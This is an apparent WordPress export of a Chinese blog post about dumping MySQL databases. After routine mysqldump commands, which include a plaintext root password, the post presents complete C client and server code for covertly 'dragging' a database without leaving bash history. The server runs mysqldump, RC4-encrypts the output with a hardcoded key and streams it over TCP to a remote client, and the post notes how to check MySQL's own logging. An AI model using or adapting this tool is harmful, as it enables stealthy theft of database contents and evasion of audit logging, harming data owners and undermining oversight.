{"id":208,"date":"2016-12-03T13:47:18","date_gmt":"2016-12-03T13:47:18","guid":{"rendered":""},"modified":"2016-12-03T13:47:18","modified_gmt":"2016-12-03T13:47:18","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=208","title":{"rendered":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93"},"content":{"rendered":"<p>\n\t<span style=\"font-size:14px;\">\u9996\u5148\u9700\u8981\u4fdd\u8bc1\u4e24\u4e2a\u6570\u636e\u5e93\u7684\u5b57\u7b26\u7f16\u7801\u76f8\u540c\uff0c\u67e5\u770b\u547d\u4ee4\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:14px;\">show variables like &#8216;char%&#8217;;<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:14px;\">\u82e5\u4e0d\u76f8\u540c\u7528\u4ee5\u4e0b\u547d\u4ee4\u8bbe\u7f6e\u5b57\u7b26\u7f16\u7801\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:14px;\">set character set latin1;<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">\u5bfc\u51fa\u6570\u636e\u5e93\u7528\u4ee5\u4e0b\u547d\u4ee4\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;\"><span style=\"font-size:14px;\">mysqldump -uroot -p12345 -hlocalhost&nbsp;<\/span><span style=\"font-size:14px;\">&#8211;default-character-set=latin1 &#8211;databases dbName &gt; dbName.sql<\/span><\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">\u5bfc\u5165\u6570\u636e\u5e93\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">mysql -uroot -p12345 -hlocalhost &lt; dbName.sql<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;\"><br \/>\n<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">\u82e5\u60f3\u9690\u79d8\u62d6\u5e93\u800c\u4e0d\u88ab\u8bb0\u5f55\u4e0b\u6267\u884c\u547d\u4ee4\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u7a0b\u5e8f\uff0c\u57fa\u4e8eC\/S\u7ed3\u6784\uff0cServer\u8d1f\u8d23dump\u6570\u636e\u5e93\uff0cclient\u4fdd\u5b58\u6570\u636e\u5e93\u3002<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">\u6ce8\u610f\uff0c\u8fd9\u91cc\u6307\u7684\u662fbash\u4e0b\u8bb0\u5f55\u7684\u547d\u4ee4\uff0cmysql\u4e2d\u7684\u67e5\u8be2\u8bed\u53e5\u4f9d\u65e7\u53ef\u80fd\u88ab\u8bb0\u5f55\uff0c\u67e5\u770bmysql\u5f00\u542f\u7684\u65e5\u5fd7\u529f\u80fd\u7528\u4ee5\u4e0b\u547d\u4ee4\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;\"><span style=\"font-size:14px;\">show variables like &#8216;log_%&#8217;;&nbsp;<\/span><span style=\"font-size:16px;\"><\/span><br \/>\n<span style=\"font-size:16px;\"><\/span><br \/>\n<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:14px;\">\u7a0b\u5e8f\u4ee3\u7801\u5982\u4e0b\uff1a<\/span>\n<\/p>\n<p>\n\t\/*&#8212;&#8212;&#8212;Server&#8212;&#8212;&#8212;-*\/\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;\">#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;unistd.h&gt;<br \/>\n#include &lt;sys\/types.h&gt;<br \/>\n#include &lt;sys\/socket.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;<br \/>\n#include &lt;arpa\/inet.h&gt;<br \/>\n#include &lt;sys\/stat.h&gt;<br \/>\n#include &lt;limits.h&gt;<br \/>\n#include &lt;fcntl.h&gt;<\/p>\n<p>unsigned char box[256];<br \/>\nchar *key = &#8220;1c65f5224e5319a19bc1b24aa221e00a&#8221;;<\/p>\n<p>typedef struct<br \/>\n{<br \/>\n&nbsp; &nbsp; int fin;<br \/>\n&nbsp; &nbsp; int len;<br \/>\n&nbsp; &nbsp; char rawData[5000];<br \/>\n} PROTO;<\/p>\n<p>void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)<br \/>\n{<br \/>\n&nbsp; &nbsp; int i = 0, j = 0;<br \/>\n&nbsp; &nbsp; char k[256] = {0};<br \/>\n&nbsp; &nbsp; unsigned char tmp = 0;<\/p>\n<p>&nbsp; &nbsp; for(i = 0; i &lt; 256; i++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = i;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; k[i] = key[i % key_len];<br \/>\n&nbsp; &nbsp; }<br \/>\n&nbsp; &nbsp; for (i = 0; i &lt; 256; i++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i] + k[i]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; tmp = s[i];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = s[j];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[j] = tmp;<br \/>\n&nbsp; &nbsp; }<br \/>\n}<\/p>\n<p>void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)<br \/>\n{<br \/>\n&nbsp; &nbsp; int i = 0, j = 0, t = 0;<br \/>\n&nbsp; &nbsp; unsigned long k = 0;<br \/>\n&nbsp; &nbsp; unsigned char tmp;<br \/>\n&nbsp; &nbsp; unsigned char s[256];<\/p>\n<p>&nbsp; &nbsp; memcpy(s,_s,sizeof(s)*sizeof(unsigned char));<\/p>\n<p>&nbsp; &nbsp; for(k = 0; k &lt; data_len; k++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; i = (i + 1) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; tmp = s[i];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = s[j];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[j] = tmp;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; t = (s[i] + s[j]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; Data[k] ^= s[t];<br \/>\n&nbsp; &nbsp; }<br \/>\n}<\/p>\n<p>int main()<br \/>\n{<br \/>\n&nbsp; &nbsp; int pid;<br \/>\n&nbsp; &nbsp; int exiVal;<br \/>\n&nbsp; &nbsp; FILE *file = NULL;<br \/>\n&nbsp; &nbsp; PROTO sendPkt;<br \/>\n&nbsp; &nbsp; struct sockaddr_in servAddr, clientAddr;<br \/>\n&nbsp; &nbsp; int listenSoc, clientSoc, addrLen;<\/p>\n<p>&nbsp; &nbsp; int inPipe[2], outPipe[2], errPipe[2];<br \/>\nchar readBuf[PIPE_BUF + 1];<br \/>\nint readSize;<br \/>\nstruct timeval timeo;<br \/>\nfd_set fdRead;<\/p>\n<p>&nbsp; &nbsp; rc4_init(box, key, strlen(key));<br \/>\n&nbsp; &nbsp; memset(&amp;servAddr, 0x00, sizeof(servAddr));<br \/>\n&nbsp; &nbsp; memset(&amp;clientAddr, 0x00, sizeof(clientAddr));<\/p>\n<p>&nbsp; &nbsp; servAddr.sin_family = AF_INET;<br \/>\n&nbsp; &nbsp; servAddr.sin_addr.s_addr = INADDR_ANY;<br \/>\n&nbsp; &nbsp; servAddr.sin_port = htons(7437);<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n&nbsp; &nbsp; listenSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br \/>\n&nbsp; &nbsp; if(listenSoc &lt; 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;1&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -1;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; if(bind(listenSoc, (struct sockaddr *)&amp;servAddr, sizeof(servAddr)) != 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;2&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -2;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; if(listen(listenSoc, SOMAXCONN) != 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;3&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -3;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; addrLen = sizeof(servAddr);<br \/>\n&nbsp; &nbsp; clientSoc = accept(listenSoc, (struct sockaddr *)&amp;clientAddr, &amp;addrLen);<br \/>\n&nbsp; &nbsp; if(clientSoc &lt; 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;4&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -4;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\npipe(outPipe);<br \/>\n&nbsp; &nbsp; pid = fork();<br \/>\n&nbsp; &nbsp; if(pid == 0)<br \/>\n&nbsp; &nbsp; {<br \/>\ndup2(outPipe[1], STDOUT_FILENO);<br \/>\nclose(outPipe[0]);<\/p>\n<p>&nbsp; &nbsp; &nbsp; &nbsp; execl(&#8220;\/usr\/bin\/mysqldump&#8221;, &#8220;\/usr\/bin\/mysqldump&#8221;, &#8220;-uroot&#8221;, &#8220;-p12345&#8221;, &#8220;-hlocalhost&#8221;, \\<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; \t&#8220;&#8211;default-character-set=latin1&#8221;, &#8220;&#8211;databases&#8221;, &#8220;dbName&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; exit(0);<br \/>\n&nbsp; &nbsp; }<br \/>\n&nbsp; &nbsp; close(outPipe[1]);<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n&nbsp; &nbsp; while(1)<br \/>\n{<br \/>\nmemset(&amp;timeo, 0x00, sizeof(timeo));<br \/>\ntimeo.tv_sec = 2;<\/p>\n<p>FD_ZERO(&amp;fdRead);<br \/>\nFD_SET(outPipe[0], &amp;fdRead);<br \/>\nif(select(outPipe[0] + 1, &amp;fdRead, NULL, NULL, &amp;timeo) &lt;= 0)<br \/>\n{<br \/>\nif(waitpid(pid, &amp;exiVal, WNOHANG) &gt; 0)<br \/>\n{<br \/>\nmemset(&amp;sendPkt, 0x00, sizeof(sendPkt));<br \/>\nsendPkt.fin = 1;<br \/>\nif(send(clientSoc, (char *)&amp;sendPkt, sizeof(sendPkt), 0) &lt;= 0)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;{<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;puts(&#8220;dis&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -1;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;}<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;\treturn 0;<br \/>\n}<br \/>\ncontinue;<br \/>\n}<\/p>\n<p>if(FD_ISSET(outPipe[0], &amp;fdRead))<br \/>\n{<br \/>\nmemset(readBuf, 0x00, sizeof(readBuf));<br \/>\nmemset(&amp;sendPkt, 0x00, sizeof(sendPkt));<br \/>\nif((readSize = read(outPipe[0], readBuf, sizeof(readBuf) &#8211; 1)) &lt;= 0)<br \/>\n{<br \/>\nmemset(&amp;sendPkt, 0x00, sizeof(sendPkt));<br \/>\nsendPkt.fin = 1;<br \/>\nif(send(clientSoc, (char *)&amp;sendPkt, sizeof(sendPkt), 0) &lt;= 0)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;{<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;puts(&#8220;dis&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -1;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;}<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;\treturn 0;<br \/>\n}<\/p>\n<p>if(readSize &gt; sizeof(sendPkt.rawData))<br \/>\n{<br \/>\nputs(&#8220;overflow&#8221;);<br \/>\nreturn -1;<br \/>\n}<br \/>\nmemcpy(sendPkt.rawData, readBuf, readSize);<br \/>\nsendPkt.len = readSize;<br \/>\nrc4_crypt(box, sendPkt.rawData, sendPkt.len);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;if(send(clientSoc, (char *)&amp;sendPkt, sizeof(sendPkt), 0) &lt;= 0)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;{<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;puts(&#8220;dis&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -1;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;}<br \/>\n}<br \/>\n}<\/p>\n<p>&nbsp; &nbsp; return 0;<br \/>\n}<\/p>\n<p>\n<span style=\"white-space:normal;\">\/*&#8212;&#8212;&#8212;Client&#8212;&#8212;&#8212;-*\/<\/span><br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;unistd.h&gt;<br \/>\n#include &lt;sys\/types.h&gt;<br \/>\n#include &lt;sys\/socket.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;<br \/>\n#include &lt;arpa\/inet.h&gt;<\/p>\n<p>unsigned char box[256];<br \/>\nchar *key = &#8220;1c65f5224e5319a19bc1b24aa221e00a&#8221;;<\/p>\n<p>typedef struct<br \/>\n{<br \/>\n&nbsp; &nbsp; int fin;<br \/>\n&nbsp; &nbsp; int len;<br \/>\n&nbsp; &nbsp; char rawData[5000];<br \/>\n} PROTO;<\/p>\n<p>void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)<br \/>\n{<br \/>\n&nbsp; &nbsp; int i = 0, j = 0;<br \/>\n&nbsp; &nbsp; char k[256] = {0};<br \/>\n&nbsp; &nbsp; unsigned char tmp = 0;<\/p>\n<p>&nbsp; &nbsp; for(i = 0; i &lt; 256; i++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = i;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; k[i] = key[i % key_len];<br \/>\n&nbsp; &nbsp; }<br \/>\n&nbsp; &nbsp; for (i = 0; i &lt; 256; i++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i] + k[i]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; tmp = s[i];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = s[j];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[j] = tmp;<br \/>\n&nbsp; &nbsp; }<br \/>\n}<\/p>\n<p>void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)<br \/>\n{<br \/>\n&nbsp; &nbsp; int i = 0, j = 0, t = 0;<br \/>\n&nbsp; &nbsp; unsigned long k = 0;<br \/>\n&nbsp; &nbsp; unsigned char tmp;<br \/>\n&nbsp; &nbsp; unsigned char s[256];<\/p>\n<p>&nbsp; &nbsp; memcpy(s,_s,sizeof(s)*sizeof(unsigned char));<\/p>\n<p>&nbsp; &nbsp; for(k = 0; k &lt; data_len; k++)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; i = (i + 1) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; j = (j + s[i]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; tmp = s[i];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[i] = s[j];<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; s[j] = tmp;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; t = (s[i] + s[j]) % 256;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; Data[k] ^= s[t];<br \/>\n&nbsp; &nbsp; }<br \/>\n}<\/p>\n<p>int main()<br \/>\n{<br \/>\n&nbsp; &nbsp; FILE *file = NULL;<br \/>\n&nbsp; &nbsp; PROTO recvPkt;<br \/>\n&nbsp; &nbsp; struct sockaddr_in servAddr;<br \/>\n&nbsp; &nbsp; int clientSoc, recvLen, totalLen;<\/p>\n<p>&nbsp; &nbsp; memset(&amp;servAddr, 0x00, sizeof(servAddr));<\/p>\n<p>&nbsp; &nbsp; servAddr.sin_family = AF_INET;<br \/>\n&nbsp; &nbsp; servAddr.sin_addr.s_addr = inet_addr(&#8220;1.1.1.1&#8221;);<br \/>\n&nbsp; &nbsp; servAddr.sin_port = htons(7437);<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n&nbsp; &nbsp; clientSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br \/>\n&nbsp; &nbsp; if(clientSoc &lt; 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;1&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -1;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; if(connect(clientSoc, (struct sockaddr *)&amp;servAddr, sizeof(servAddr)) != 0)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;2&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -2;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n&nbsp; &nbsp; rc4_init(box, key, strlen(key));<br \/>\n&nbsp; &nbsp; file = fopen(&#8220;dbName.sql&#8221;, &#8220;wb&#8221;);<br \/>\n&nbsp; &nbsp; if(file == NULL)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; printf(&#8220;error\\n&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; return -1;<br \/>\n&nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n&nbsp; &nbsp; while(1)<br \/>\n&nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; memset(&amp;recvPkt, 0x00, sizeof(recvPkt));<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; totalLen = sizeof(recvPkt);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; while(totalLen &gt; 0)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recvLen = recv(clientSoc, (char *)&amp;recvPkt + (sizeof(recvPkt) &#8211; totalLen), totalLen, 0);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(recvLen &lt;= 0)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; puts(&#8220;disconnect&#8221;);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -1;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; totalLen -= recvLen;<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; }<\/p>\n<p>&nbsp; &nbsp; &nbsp; &nbsp; rc4_crypt(box, recvPkt.rawData, recvPkt.len);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; fwrite(recvPkt.rawData, sizeof(char), recvPkt.len, file);<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; if(recvPkt.fin) break;<br \/>\n&nbsp; &nbsp; }<br \/>\n&nbsp; &nbsp; fclose(file);<\/p>\n<p>&nbsp; &nbsp; return 0;<br \/>\n}<\/p>\n<p>\n<\/span>\n<\/p>\n<p>\n\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\n\t<span style=\"font-size:16px;\">\u9996\u5148\u9700\u8981\u4fdd\u8bc1\u4e24\u4e2a\u6570\u636e\u5e93\u7684\u5b57\u7b26\u7f16\u7801\u76f8\u540c\uff0c\u67e5\u770b\u547d\u4ee4\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:16px;\">show variables like &#8216;char%&#8217;;<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:16px;\">\u82e5\u4e0d\u76f8\u540c\u7528\u4ee5\u4e0b\u547d\u4ee4\u8bbe\u7f6e\u5b57\u7b26\u7f16\u7801\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"font-size:16px;\">set character set latin1;<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;font-size:16px;\">\u5bfc\u51fa\u6570\u636e\u5e93\u7528\u4ee5\u4e0b\u547d\u4ee4\uff1a<\/span>\n<\/p>\n<p>\n\t<span style=\"line-height:1.5;\"><span style=\"font-size:16px;\">mysqldump -uroot -p12345 -hlocalhost&nbsp;<\/span><span style=\"font-size:16px;\">&#8211;default-character-set=latin1 &#8211;databases dbName &amp;g&#8230;<\/span><\/span>\n<\/p>\n<p>\n\t<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-208","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>mysqldump\u8f6c\u5b58\u6570\u636e\u5e93 - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=208\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93 - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"\u9996\u5148\u9700\u8981\u4fdd\u8bc1\u4e24\u4e2a\u6570\u636e\u5e93\u7684\u5b57\u7b26\u7f16\u7801\u76f8\u540c\uff0c\u67e5\u770b\u547d\u4ee4\uff1a    show variables like &#039;char%&#039;;    \u82e5\u4e0d\u76f8\u540c\u7528\u4ee5\u4e0b\u547d\u4ee4\u8bbe\u7f6e\u5b57\u7b26\u7f16\u7801\uff1a    set character set latin1;    \u5bfc\u51fa\u6570\u636e\u5e93\u7528\u4ee5\u4e0b\u547d\u4ee4\uff1a    mysqldump -uroot -p12345 -hlocalhost&nbsp;--default-character-set=latin1 --databases dbName &amp;g...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=208\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2016-12-03T13:47:18+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=208#webpage\",\"url\":\"http:\/\/weizn.net\/?p=208\",\"name\":\"mysqldump\\u8f6c\\u5b58\\u6570\\u636e\\u5e93 - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2016-12-03T13:47:18+00:00\",\"dateModified\":\"2016-12-03T13:47:18+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=208#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=208\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=208#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"mysqldump\\u8f6c\\u5b58\\u6570\\u636e\\u5e93\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=208#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=208#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"mysqldump\\u8f6c\\u5b58\\u6570\\u636e\\u5e93\",\"datePublished\":\"2016-12-03T13:47:18+00:00\",\"dateModified\":\"2016-12-03T13:47:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=208#webpage\"},\"wordCount\":1407,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"C\/C++\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=208#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93 - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=208","og_locale":"zh_CN","og_type":"article","og_title":"mysqldump\u8f6c\u5b58\u6570\u636e\u5e93 - Wayne&#039;s 